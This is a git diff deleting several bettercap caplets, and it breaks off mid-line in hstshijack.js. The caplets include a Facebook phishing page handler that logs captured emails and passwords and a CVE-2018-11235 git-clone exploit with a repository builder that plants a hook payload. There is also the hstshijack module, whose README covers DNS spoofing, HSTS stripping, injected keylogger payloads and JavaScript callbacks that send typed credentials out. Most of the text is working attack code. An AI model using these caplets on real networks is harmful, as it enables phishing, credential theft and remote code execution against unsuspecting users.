enumerate.hosts - -A simple module that lets you enumerate individual hosts. - -Example: - -![screenshot from 2018-07-27 00-37-40](https://user-images.githubusercontent.com/29265684/43269395-1cc4d330-9136-11e8-941b-f0d9fcb6e254.png) diff --git a/enumerate/hosts/module.cap b/enumerate/hosts/module.cap deleted file mode 100644 index d8db3c3..0000000 --- a/enumerate/hosts/module.cap +++ /dev/null @@ -1,21 +0,0 @@ -# enumerate.hosts -set enumerate.hosts.output enumerate/hosts/session1.hosts.log - -# events.stream -events.stream off -set events.stream.output enumerate/hosts/session1.events.stream.output -events.stream on - -# net.sniff -set net.sniff.verbose false -net.sniff on - -# http.proxy -set http.proxy.script enumerate/hosts/module.js -set http.proxy.port 8022 -http.proxy on - -# ticker -set ticker.commands enumerate.hosts.save -set ticker.period 60 -ticker on diff --git a/enumerate/hosts/module.js b/enumerate/hosts/module.js deleted file mode 100644 index 8f0b01a..0000000 --- a/enumerate/hosts/module.js +++ /dev/null @@ -1,108 +0,0 @@ -var enumerated_hosts = [] - -var red = "\033[31m", - yellow = "\033[33m", - green = "\033[32m", - bold = "\033[1;37m", - reset = "\033[0m" - -function configure() { - if ( !readFile( env("enumerate.hosts.output") ) ) { - log_info("(" + green + "enumerate.hosts" + reset + ") " + bold + "enumerate.hosts.output" + reset + " file was not found, creating one ...") - writeFile( env("enumerate.hosts.output"), "" ) - } - - if ( !readFile( env("events.stream.output") ) ) { - log_error("Error: " + bold + "events.stream.output" + reset + " file not found (got " + env("events.stream.output") + ")") - } -} - -function extractHosts() { - logs = readFile( env("events.stream.output") ).split("\n") - extracted_hosts = [] - - for (var i = 0; i < logs.length; i++) { - if ( logs[i].match(/\[.*?net\.sniff.*?\]/i) ) { - host = logs[i].replace(/.*\033\[33m(https:\/\/|)(.*?)\033\[0m.*/g, "$2") - extracted_hosts.indexOf(host) == -1 ? extracted_hosts.push(host) : "" - } - } - - return extracted_hosts -} - -function compareHosts(old_hosts, new_hosts) { - difference = [] - - for (var i = 0; i < new_hosts.length; i++) { - old_hosts.indexOf(new_hosts[i]) == -1 ? difference.push(new_hosts[i]) : "" - } - - return difference -} - -function saveHosts(new_hosts) { - saved_hosts = readFile( env("enumerate.hosts.output") ).split("\n") - - for (var i = 0; i < new_hosts.length; i++) { - saved_hosts.indexOf(new_hosts[i]) == -1 ? saved_hosts.push(new_hosts[i]) : "" - } - - writeFile( env("enumerate.hosts.output"), saved_hosts.join("\n") ) -} - -function printHosts(hosts) { - if (hosts.length != 0) { - log_string = "" - - for (var i = 0; i < hosts.length; i++) { - log_string += " " + yellow + hosts[i] + reset + "\n" - enumerated_hosts.indexOf(hosts[i]) == -1 ? enumerated_hosts.push(hosts[i]) : "" - } - - console.log("\n" + log_string) - } else { - console.log("\n No hosts to display.\n") - } -} - -function onCommand(cmd) { - if (cmd == "enumerate.hosts.all") { - saved_hosts = readFile( env("enumerate.hosts.output") ).split("\n") - printHosts(saved_hosts) - return true - } - - if (cmd == "enumerate.hosts.new") { - new_hosts = compareHosts( enumerated_hosts, extractHosts() ) - printHosts(new_hosts) - return true - } - - if ( cmd.match(/^enumerate\.hosts\.regexp ./) ) { - regexp = new RegExp( cmd.replace("enumerate.hosts.regexp ", "") ) - saved_hosts = readFile( env("enumerate.hosts.output") ).split("\n") - found_hosts = [] - - for (var i = 0; i < saved_hosts.length; i++) { - saved_hosts[i].match(regexp) ? found_hosts.push(saved_hosts[i]) : "" - } - - printHosts(found_hosts) - return true - } - - if (cmd == "enumerate.hosts.save") { - saveHosts( extractHosts() ) - return true - } -} - -function onLoad() { - console.log("\n" + bold + " Commands" + reset + "\n") - console.log(" " + yellow + "enumerate.hosts.all" + reset + " : Enumerate all hosts.") - console.log(" " + yellow + "enumerate.hosts.new" + reset + " : Enumerate new hosts.") - console.log(" " + yellow + "enumerate.hosts.regexp" + reset + " : Enumerate hosts with regexp value.\n") - configure() - log_info("(" + green + "enumerate.hosts" + reset + ") Module successfully loaded.") -} diff --git a/fb-phish/fb-phish.cap b/fb-phish/fb-phish.cap deleted file mode 100644 index 8ff3b31..0000000 --- a/fb-phish/fb-phish.cap +++ /dev/null @@ -1,7 +0,0 @@ -set http.server.address 0.0.0.0 -set http.server.path www/www.facebook.com/ - -set http.proxy.script fb-phish.js - -http.proxy on -http.server on diff --git a/fb-phish/fb-phish.js b/fb-phish/fb-phish.js deleted file mode 100644 index cb1d57e..0000000 --- a/fb-phish/fb-phish.js +++ /dev/null @@ -1,28 +0,0 @@ -var RESET = "\033[0m"; - -function R(s) { - return "\033[31m" + s + RESET; -} - -function B(s) { - return "\033[34m" + s + RESET; -} - -function onRequest(req, res) { - if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) { - var form = req.ParseForm(); - var email = form["email"] || "?", - pass = form["pass"] || "?"; - - log( R(req.Client.IP), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" ); - - headers = res.Headers.split("\r\n") - for (var i = 0; i < headers.length; i++) { - header_name = headers[i].replace(/:.*/, "") - res.RemoveHeader(header_name) - } - res.Status = 301; - res.SetHeader("Location", "https://www.facebook.com") - res.SetHeader("Connection", "close") - } -} diff --git a/gitspoof/README.md b/gitspoof/README.md deleted file mode 100644 index 030f316..0000000 --- a/gitspoof/README.md +++ /dev/null @@ -1,58 +0,0 @@ -# Caplet for exploiting CVE-2018-11235 - -This caplet is intercepting http/https git clone attempts and -redirecting them to local http server that serves a malicious -repository leading to exploitation of CVE-2018-11235 on vulnerable -client. - -## How to use - -1. Create a malicious repository with `build_repo.sh` script. The - script will take the contents of `payload.txt` as payload - - customize the payload file to your needs. -2. Run the caplet with: - -``` -bettercap -caplet caplets/gitspoof/gitspoof.cap -``` - -## Alternative use cases - -You can control to which repository redirect the victim, by changing -`gitspoof.repo` variable to an IP or domain (do not prefix with -http(s)). This way if the victim is not susceptible to CVE-2018-11235 -you can still try to inject arbitrary code into the repo - this might -come in handy when trying to exploit some bad CI/deployment scripts. - -## Limitations - -Obviously the script won't be able to intercept https git clones -unless you can obtain a valid SSL cert or the victim used `-c -http.sslVerify=false` configuration option. - -The script was aimed at attacking automated systems not people -therefore the repo layout doesn't try hard to look inconspicuous ;) - -Attacking human with this caplet would require to also spoof some -trusted domain and point it at bettercap server since Git will always -notify the user about http redirect. - -Finally - all the CVE-2018-11235 limitations apply - to get RCE the -victim needs to have vulnerable git client **and** do a recursive -git clone (or initialize the submodules afterwards). - -## POC testing - -You can test the script yourself without arp poison: - -1. Setup vulnerable git on your system -2. Fire the caplet (remember to run `./build_repo.sh` first!) -3. On vulnerable system run: - -``` -http_proxy= git clone --recursive http://github.com/bettercap/bettercap /tmp/exploit -``` - -(**NOTE**: we are intentionally trying to clone via http on github) - -The clone should trigger the default payload. diff --git a/gitspoof/build_repo.sh b/gitspoof/build_repo.sh deleted file mode 100755 index 302adf6..0000000 --- a/gitspoof/build_repo.sh +++ /dev/null @@ -1,28 +0,0 @@ -#!/bin/bash -evil_submodule="zemodule" -empty_submodule="https://github.com/pielgrzym/noop" - -rm -rf evil_git_repo - -git init evil_git_repo --bare -mv evil_git_repo/hooks/post-update.sample evil_git_repo/hooks/post-update -chmod a+x evil_git_repo/hooks/post-update - -temp_repo=$(mktemp -d) -git clone evil_git_repo $temp_repo -old_dir=$(pwd) -cd $temp_repo -export GIT_WORK_TREE=$temp_repo -mkdir -p fakegit/modules -git submodule add $empty_submodule $evil_submodule -git submodule add $empty_submodule error -mv .git/modules/$evil_submodule fakegit/modules/$evil_submodule -cp $old_dir/payload.txt fakegit/modules/$evil_submodule/hooks/post-checkout -chmod 755 fakegit/modules/$evil_submodule/hooks/post-checkout -git config -f .gitmodules --rename-section submodule.$evil_submodule submodule.../../fakegit/modules/$evil_submodule -sed -i 's/\.git/fakegit/' $evil_submodule/.git - -git add . -git commit -m 'Initial commit' -git push -rm -rf $temp_repo diff --git a/gitspoof/gitspoof.cap b/gitspoof/gitspoof.cap deleted file mode 100644 index e80f06c..0000000 --- a/gitspoof/gitspoof.cap +++ /dev/null @@ -1,9 +0,0 @@ -set http.server.path caplets/gitspoof/evil_git_repo -http.server on - -set http.proxy.script caplets/gitspoof/gitspoof.js -set https.proxy.script caplets/gitspoof/gitspoof.js -http.proxy on -https.proxy on - -# arp.spoof on diff --git a/gitspoof/gitspoof.js b/gitspoof/gitspoof.js deleted file mode 100644 index 1973e08..0000000 --- a/gitspoof/gitspoof.js +++ /dev/null @@ -1,29 +0,0 @@ -var gitspoof_repo = undefined; - -var red = "\033[31m", - yellow = "\033[33m", - green = "\033[32m", - bold = "\033[1;37m", - reset = "\033[0m" - -function onLoad() { - env["gitspoof.repo"] ? gitspoof_repo = env["gitspoof.repo"] : gitspoof_repo = env["iface.ipv4"]; - log( "Gitspoof loaded" ); - log(green +"Git redirect to repo: " + yellow + gitspoof_repo + "/" + reset); -} - -function onResponse(req, res) { - if (req.Query == 'service=git-upload-pack') { - log(bold + "Got git clone request, attempting redirect" + reset); - } - if (req.Query == 'service=git-upload-pack' && req.Hostname != gitspoof_repo) { - res.Status = 301; - headers = res.Headers.split("\r\n"); - for (var i = 0; i < headers.length; i++) { - header_name = headers[i].replace(/:.*/, ""); - res.RemoveHeader(header_name); - } - res.SetHeader("Location", "http://" + gitspoof_repo + "/info/refs?service=git-upload-pack"); - res.Body = ""; - } -} diff --git a/gitspoof/payload.txt b/gitspoof/payload.txt deleted file mode 100644 index fbd21f2..0000000 --- a/gitspoof/payload.txt +++ /dev/null @@ -1,9 +0,0 @@ -#!/bin/sh - -echo "pwned with" -echo " ____ _____ _____ _____ _____ ____ ____ _ ____ " -echo "| __ )| ____|_ _|_ _| ____| _ \ / ___| / \ | _ \ " -echo "| _ \| _| | | | | | _| | |_) | | / _ \ | |_) |" -echo "| |_) | |___ | | | | | |___| _ <| |___ / ___ \| __/ " -echo "|____/|_____| |_| |_| |_____|_| \_\\____/_/ \_\_| " - diff --git a/hstshijack/README.md b/hstshijack/README.md deleted file mode 100644 index 5c926f4..0000000 --- a/hstshijack/README.md +++ /dev/null @@ -1,161 +0,0 @@ -

- -

- -### Caplet - -```sh -# Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack - -# Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads' -# variables get precendence over those assigned to the 'hstshijack.ignore' variable. -set hstshijack.targets *.google.com, google.com, gstatic.com, *.gstatic.com -set hstshijack.replacements *.google.corn,google.corn,gstatic.corn,*.gstatic.corn -set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt -set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json -set hstshijack.ssl.check true -#set hstshijack.blockscripts example.com,*.example.com -set hstshijack.obfuscate true -set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js -#set hstshijack.ignore * - -set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js -http.proxy on - -set dns.spoof.domains *.google.corn,google.corn,gstatic.corn,*.gstatic.corn -set dns.spoof.all true -dns.spoof on -``` - -### **hijack.js** payload - -This module injects files with a JavaScript payload (**hijack.js**) which acts as a callback for bettercap, and takes care of hostname spoofing in attributes of injected documents, as well as XMLHttpRequest. - -Injecting **hijack.js** is essential for hostname spoofing. - -### Scalable domain indexing (SSL log) - -
- -

- -

- -When hosts respond with an HTTPS redirect, bettercap will save their hostnames in a list and keep track of the index ranges of these hostnames sorted by each character's Unicode code point value, allowing the list to scale by reducing a considerable amount of overhead for the proxy module. - -By default, this caplet will remap the index ranges on launch of all the domains that were found in the file that you assigned to the `hstshijack.ssl.domains` variable (to ensure that it is still in the right format). You can skip this by setting the `hstshijack.ssl.check` variable value to `false`. - -Bettercap will also send a HEAD request to unknown hosts that were discovered in the injected document and retrieved via a callback from the **hijack.js** payload. This is done to learn what hosts use HTTPS, ahead of time. - -Hostnames that you target with the `hstshijack.targets` variable are automatically logged and indexed. - -### Hostname spoofing - -In the **caplet file** you can assign comma separated domains to the `hstshijack.targets` variable. _(wildcard allowed)_ - -For every targeted hostname you must specify a replacement hostname, like this: - -```sh -set hstshijack.targets google.com, *.google.com -set hstshijack.replacements google.corn,*.google.corn -``` - -You can try to make them as unnoticeable as you can, but your options are limited here in terms of evading HSTS. - -### Block scripts - -In the **caplet file** you can block JavaScript from hosts by assigning them to the `hstshijack.blockscripts` variable. _(wildcard allowed)_ - -### Custom payloads - -You can also inject your own scripts into files from your specified hosts by assigning them to the `hstshijack.payloads` variable. - -Custom payloads are (optionally) obfuscated at launch, executed synchronously, and wrapped inside a function that is defined as a property of the current JavaScript context (globalThis). This is done to ensure that your payload is only executed once per application, even if injected multiple times. Individual payloads are not failsafe, so you must set your conditions/try and catch blocks yourself. - -Example: - -```sh -set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js -``` - -You should always inject the **hijack.js** payload when spoofing hostnames. - -### Obfuscation - -You can write custom payloads that are automatically obfuscated by the module. - -Basically, every word that was found beginning with `obf_` will be obfuscated. - -Example: - -```js -function obf_function() { - alert("Random variable: obf_whatever_follows") -} - -obf_function() -``` - -Will be injected as: - -```js -function jfIleNwmKoa() { - alert("Random variable: AsjZnJWklwMNqshCaloE") -} - -jfIleNwmKoa() -``` - -### Silent callbacks - -You can have your payloads send callbacks to your machine that bettercap will print, but not proxy. - -Example of a silent callback: - -```js -form.onsubmit = function() { - req = new XMLHttpRequest() - req.open("POST", "http://" + location.host + "/obf_path_callback?username=" + username + "&password=" + password) - req.send() -} -``` - -The following POST request will be sniffed by bettercap, but not proxied (the request will be dropped). - -Any instance of `obf_path_callback` will be replaced with the callback path (see example above). - -### Whitelisting callbacks - -You can automatically terminate an attack between specific clients and hosts by making the client's machine initiate a whitelisting callback. - -Example of multiple whitelisting callbacks: - -```js -// Whitelist multiple hosts to ensure the intended resources will load. - -form.onsubmit = function() { - // Whitelist current hostname and phish credentials - req = new XMLHttpRequest() - req.open("POST", "http://" + location.hostname + "/obf_path_whitelist?email=" + email + "&password=" + password) - req.send() - - // Whitelist facebook - req = new XMLHttpRequest() - req.open("POST", "http://facedook.com/obf_path_whitelist") - req.send() - - // Whitelist facebook CDN - req = new XMLHttpRequest() - req.open("POST", "http://static.xx.fdcdn.net/obf_path_whitelist") - req.send() - - // Whitelist redirect to facebook - req = new XMLHttpRequest() - req.open("POST", "http://fd.com/obf_path_whitelist") - req.send() -} -``` - -When a request is sent as above, bettercap will stop spoofing connections between the sender and the requested host. - -If any resource from a spoofed host is requested that was previously whitelisted for that client, then that client will be redirected to the intended (unspoofed) host. diff --git a/hstshijack/domains.txt b/hstshijack/domains.txt deleted file mode 100644 index e69de29..0000000 diff --git a/hstshijack/hstshijack.cap b/hstshijack/hstshijack.cap deleted file mode 100644 index 93b4b8d..0000000 --- a/hstshijack/hstshijack.cap +++ /dev/null @@ -1,21 +0,0 @@ -# Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack - -# Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads' -# variables get precendence over those assigned to the 'hstshijack.ignore' variable. -set hstshijack.targets google.com, *.google.com, gstatic.com, *.gstatic.com -set hstshijack.replacements google.corn,*.google.corn,gstatic.corn,*.gstatic.corn -set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt -set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json -set hstshijack.ssl.check true -#set hstshijack.blockscripts example.com,*.example.com -set hstshijack.obfuscate true -set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js -set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com - -set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js -http.proxy on - -set dns.spoof.domains google.corn,*.google.corn,gstatic.corn,*.gstatic.corn -set dns.spoof.all true -dns.spoof on - diff --git a/hstshijack/hstshijack.js b/hstshijack/hstshijack.js deleted file mode 100644 index cc3e505..0000000 --- a/hstshijack/hstshijack.js +++ /dev/null @@ -1,1053 +0,0 @@ -/* - * Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack - */ - -var ssl = { - "domains": [], - "index": {}, - "hierarchy": "-.0123456789abcdefghijklmnopqrstuvwxyz" -}; - -var payload, - payload_container_prefix = ( - "if (!globalThis.{{SESSION_ID_TAG}}) {\n" + - "globalThis.{{SESSION_ID_TAG}} = function() {\n"), - payload_container_suffix = ( - "\n}\n" + - "globalThis.{{SESSION_ID_TAG}}();\n" + - "}\n"); - -var ignore_hosts = [], - target_hosts = [], - replacement_hosts = [], - block_script_hosts = []; - -var payloads = {}, - obfuscate; - -var callback_path, - whitelist_path, - ssl_index_path, - session_id, - varname_target_hosts, - varname_replacement_hosts; - -var math_seed; - -var whitelist = {}; - -var selector_header = /^\s*(.*?)\s*:\s*(.*?)\s*$/, - selector_header_csp = /content-security-policy:.*?\r\n/ig, - selector_header_set_cookie = /^set-cookie$/i, - selector_header_set_cookie_secure_samesite = /^(?:secure$|samesite=)/i, - selector_content_type_html = /text[/](?:html|xml)|application[/](?:hta|xhtml[+]xml|xml)/i, - selector_extension_html = /[.](?:html|htm|xml|xhtml|xhtm|xht|hta)$/i, - selector_meta_tag_csp = / http-equiv=['"]?Content-Security-Policy['"]?([ />])/ig, - selector_strip_whitespace = /^\s*(.*?)\s*$/, - selector_uri_one = /^https:\/\//i, - selector_uri_two = /https:\/\/([^:/?#]*).*/i, - selector_content_type_js = /\S+[/]javascript/i, - selector_html_magic = /^\s*)/ig, - selector_html_script_close_tag = /<\/script(\s|>)/ig, - selector_all_dashes = /\-/g, - selector_all_dots = /\./g, - selector_scheme_http_https_colon = /(http)s:/ig, - selector_port_https = /:443($|[^0-9])/g, - selector_regset_wildcard_one = /^\*\./, - selector_regset_wildcard_two = /\.\*$/, - selector_regset_wildcard_three = /\.\*$/g, - selector_regset_wildcard_four = /\.\*/g, - selector_query_param = /(^[^=]*)=(.*$)/; - -var red = "\033[31m", - yellow = "\033[33m", - green = "\033[32m", - blue = "\033[34m", - on_white = "\033[47;30m", - on_grey = "\033[40;37m", - on_blue = "\033[104;30m", - bold = "\033[1;37m", - reset = "\033[0m"; - -function randomFloat() { - r = Math.sin(math_seed++) * 10000; - return r - Math.floor(r); -} - -function randomString(length) { - length = parseInt(length); - var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", - buff = new Array(length); - for (var a = 0; a < buff.length; a++) { - index = parseInt(Math.random() * chars.length); - buff[a] = chars.charAt(index) - } - return buff.join(""); -} - -function toRegexp(selector_string, replacement_string) { - selector_string = selector_string.replace(selector_all_dots, "\\."); - selector_string = selector_string.replace(selector_all_dashes, "\\-"); - return [ - new RegExp("(^|[^a-z0-9-.])" + selector_string + "($|[^a-z0-9-.])", "ig"), - "$1" + replacement_string + "$2" - ]; -} - -function toWholeRegexp(selector_string, replacement_string) { - selector_string = selector_string.replace(selector_all_dots, "\\."); - selector_string = selector_string.replace(selector_all_dashes, "\\-"); - return [ - new RegExp("^" + selector_string + "$", "ig"), - replacement_string - ]; -} - -function toWildcardRegexp(selector_string, replacement_string) { - selector_string = selector_string.replace(selector_all_dashes, "\\-"); - if (selector_string.match(selector_regset_wildcard_one)) { - selector_string = selector_string.replace(selector_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"); - selector_string = selector_string.replace(selector_all_dots, "\\."); - replacement_string = replacement_string.replace(selector_regset_wildcard_one, ""); - return [ - new RegExp(selector_string, "ig"), - "$1" + replacement_string - ]; - } else if (selector_string.match(selector_regset_wildcard_two)) { - selector_string = selector_string.replace(selector_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"); - selector_string = selector_string.replace(selector_all_dots, "\\."); - replacement_string = replacement_string.replace(selector_regset_wildcard_two, ""); - return [ - new RegExp(selector_string, "ig"), - replacement_string + "$1" - ]; - } else { - log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardRegexp() value (got " + selector_string + ")."); - } -} - -function toWholeWildcardRegexp(selector_string, replacement_string) { - selector_string = selector_string.replace(selector_all_dashes, "\\-"); - if (selector_string.match(selector_regset_wildcard_one)) { - selector_string = selector_string.replace(selector_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"); - selector_string = selector_string.replace(selector_all_dots, "\\."); - replacement_string = replacement_string.replace(selector_regset_wildcard_one, ""); - return [ - new RegExp("^" + selector_string + "$", "ig"), - "$1" + replacement_string - ]; - } else if (selector_string.match(selector_regset_wildcard_two)) { - selector_string = selector_string.replace(selector_regset_wildcard_four, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"); - selector_string = selector_string.replace(selector_all_dots, "\\."); - replacement_string = replacement_string.replace(selector_regset_wildcard_two, ""); - return [ - new RegExp(selector_string, "ig"), - replacement_string + "$1" - ]; - } else { - log_error(on_blue + "hstshijack" + reset + " Invalid toWholeWildcardRegexp() value (got " + selector_string + ")."); - } -} - -/* Matches /(^|[^a-z0-9-.])example\.com($|[^a-z0-9-.])/ig */ -function toRegexpSet(selector_string, replacement_string) { - if (selector_string.indexOf("*") !== -1) { - return toWildcardRegexp(selector_string, replacement_string); - } else { - return toRegexp(selector_string, replacement_string); - } -} - -/* Matches ^example.com$ */ -function toWholeRegexpSet(selector_string, replacement_string) { - if (selector_string.indexOf("*") !== -1) { - return toWholeWildcardRegexp(selector_string, replacement_string); - } else { - return toWholeRegexp(selector_string, replacement_string); - } -} - -/* Saves the list of domains using SSL, as well as its index ranges. */ -function saveSSLIndex() { - writeFile(env["hstshijack.ssl.domains"], ssl.domains.join("\n")); - writeFile(env["hstshijack.ssl.index"], JSON.stringify(ssl.index, null, 2)); -} - -/* Returns the amount of characters of an identical prefix of two given strings. */ -function getMatchingPrefixLength(string1, string2) { - count = 0; - if (string1.length > string2.length) { - for (a = 0; a < string2.length; a++) { - if (string1.charAt(a) !== string2.charAt(a)) { - break; - } - count++; - } - } else { - for (a = 0; a < string1.length; a++) { - if (string1.charAt(a) !== string2.charAt(a)) { - break; - } - count++; - } - } - return count; -} - -/* Returns true if domain1 gets alphanumeric precendence over domain2. */ -function getsPrecedence(domain1, domain2) { - if (domain1.length > domain2.length) { - /* If the first given domain is longer than the second. */ - for (a = 0; a < domain2.length; a++) { - rank1 = ssl.hierarchy.indexOf(domain1.charAt(a)); - rank2 = ssl.hierarchy.indexOf(domain2.charAt(a)); - if (rank1 > rank2) { - return false; - } else if (rank1 < rank2) { - return true; - } - } - return false; - } else { - /* If the second given domain is longer than the first. */ - for (a = 0; a < domain1.length; a++) { - rank1 = ssl.hierarchy.indexOf(domain1.charAt(a)); - rank2 = ssl.hierarchy.indexOf(domain2.charAt(a)); - if (rank1 > rank2) { - return false; - } else if (rank1 < rank2) { - return true; - } - } - return true; - } -} - -/* Returns an array with the first and last index of an alphanumeric range of domains. - * This is the range in which domains are/will be indexed. */ -function getIndexRange(char) { - if (index_range = ssl.index[char]) { - /* Character is already indexed. */ - return index_range; - } else { - /* Character is not yet indexed. */ - indexed_chars = Object.keys(ssl.index).concat(char).sort(); - this_char_index = indexed_chars.indexOf(char); - if ( - indexed_chars[this_char_index - 1] - && indexed_chars[this_char_index + 1] - ) { - /* Will not be the first nor last indexed character. */ - return [ - ssl.index[indexed_chars[this_char_index + 1]][0], - ssl.index[indexed_chars[this_char_index + 1]][0] - ]; - } else if (indexed_chars[this_char_index + 1]) { - /* Will be the first indexed character, but not the last. */ - return [ - 0, - ssl.index[indexed_chars[this_char_index + 1]][0] - ]; - } else if (indexed_chars[this_char_index - 1]) { - /* Will be the last indexed character, but not the first. */ - if (ssl.domains.length === 1) { - /* Will be the second and last indexed character. */ - return [ - ssl.index[indexed_chars[this_char_index - 1]][1] + 1, - 1 - ]; - } else { - /* Will be the last but not the second indexed character. */ - return [ - ssl.index[indexed_chars[this_char_index - 1]][1] + 1, - ssl.domains.length - ]; - } - } else { - /* Will be the first and last indexed character. */ - return [0, 0]; - } - } -} - -/* Returns the index of a given domain within a given index range. */ -function getDomainIndex(domain, index_range) { - domain = domain.toLowerCase(); - if ( - index_range[0] === index_range[1] - && domain === ssl.domains[index_range[0]] - ) { - /* This domain is the only indexed domain with this first character. */ - return index_range[0]; - } - /* Return this domain's index when found in this index range. */ - for (a = index_range[0]; a < index_range[1] + 1; a++) { - if (domain === ssl.domains[a]) { - return a; - } - } - /* This domain is not indexed. */ - return -1; -} - -/* Index a new domain. */ -function indexDomain(domain) { - domain = domain.toLowerCase(); - first_char = domain.charAt(0); - index_range = getIndexRange(first_char); - if (getDomainIndex(domain, index_range) === -1) { - /* This domain is not indexed yet. */ - log_debug(on_blue + "hstshijack" + reset + " Indexing domain " + bold + domain + reset + " ..."); - indexed_chars = Object.keys(ssl.index); - if (index_range[0] === index_range[1]) { - /* This index range consists of only one index. */ - if (ssl.domains[index_range[0]]) { - /* This index range contains one domain. */ - new_index = index_range[0]; - if (getsPrecedence(ssl.domains[index_range[0]], domain)) { - new_index++; - } - arr_ = ssl.domains.slice(0, new_index); - _arr = ssl.domains.slice(new_index, ssl.domains.length); - ssl.domains = [].concat(arr_, [domain], _arr); - ssl.index[first_char] = [ - index_range[0], - index_range[1] + 1 - ]; - } else { - /* This index range contains no domains. */ - ssl.domains.push(domain); - ssl.index[first_char] = [ - index_range[0], - index_range[1] - ]; - } - } else { - /* This index range consists of multiple domains. */ - new_index = index_range[0]; - for (var a = index_range[0]; a < index_range[1] + 1; a++) { - if (!getsPrecedence(domain, ssl.domains[a])) { - new_index = a + 1; - } else { - break; - } - } - arr_ = ssl.domains.slice(0, new_index); - _arr = ssl.domains.slice(new_index, ssl.domains.length); - ssl.domains = [].concat(arr_, [domain], _arr); - ssl.index[first_char] = [ - index_range[0], - index_range[1] + 1 - ]; - } - remaining_indexed_chars = indexed_chars.slice(index_range[1] + 1); - for (a = 0; a < remaining_indexed_chars.length; a++) { - indexed_char = remaining_indexed_chars[a]; - index_range = ssl.index[indexed_char]; - ssl.index[indexed_char] = [ - index_range[0] + 1, - index_range[1] + 1 - ]; - } - saveSSLIndex(); - } else { - /* This domain is already indexed. */ - log_debug(on_blue + "hstshijack" + reset + " Skipped already indexed domain " + bold + domain + reset); - } -} - -function configure() { - /* Read caplet. */ - env["hstshijack.ignore"] - ? ignore_hosts = env["hstshijack.ignore"].replace(/\s/g, "").split(",") - : ignore_hosts = []; - env["hstshijack.targets"] - ? target_hosts = env["hstshijack.targets"].replace(/\s/g, "").split(",") - : target_hosts = []; - env["hstshijack.replacements"] - ? replacement_hosts = env["hstshijack.replacements"].replace(/\s/g, "").split(",") - : replacement_hosts = []; - env["hstshijack.blockscripts"] - ? block_script_hosts = env["hstshijack.blockscripts"].replace(/\s/g, "").split(",") - : block_script_hosts = []; - env["hstshijack.obfuscate"] - ? obfuscate = env["hstshijack.obfuscate"].replace(/\s/g, "").toLowerCase() - : obfuscate = false; - - /* Validate caplet. */ - if (target_hosts.length < replacement_hosts.length) { - log_fatal(on_blue + "hstshijack" + reset + " Too many hstshijack.replacements (got " + replacement_hosts.length + ")."); - } - if (target_hosts.length > replacement_hosts.length) { - log_fatal(on_blue + "hstshijack" + reset + " Not enough hstshijack.replacements (got " + replacement_hosts.length + ")."); - } - if (target_hosts.indexOf("*") !== -1) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got *)."); - } - if (replacement_hosts.indexOf("*") !== -1) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got *)."); - } - - whole_prefix_wildcard_domain_selector = /^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i; - whole_suffix_wildcard_domain_selector = /^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i; - for (a = 0; a < ignore_hosts.length; a++) { - if ( - !ignore_hosts[a].match(/^\*$/i) - && !ignore_hosts[a].match(whole_prefix_wildcard_domain_selector) - && !ignore_hosts[a].match(whole_suffix_wildcard_domain_selector) - ) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.ignore value (got " + ignore_hosts[a] + ")."); - } - } - - for (a = 0; a < target_hosts.length; a++) { - if ( - !target_hosts[a].match(whole_prefix_wildcard_domain_selector) - && !target_hosts[a].match(whole_suffix_wildcard_domain_selector) - ) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got " + target_hosts[a] + ")."); - } - - if ( - !replacement_hosts[a].match(whole_prefix_wildcard_domain_selector) - && !replacement_hosts[a].match(whole_suffix_wildcard_domain_selector) - ) { - log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got " + replacement_hosts[a] + ")."); - } - - if (target_hosts[a].match(/\*/g) || replacement_hosts[a].match(/\*/g)) { - target_host_wildcard_count = target_hosts[a].match(/\*/g).length || 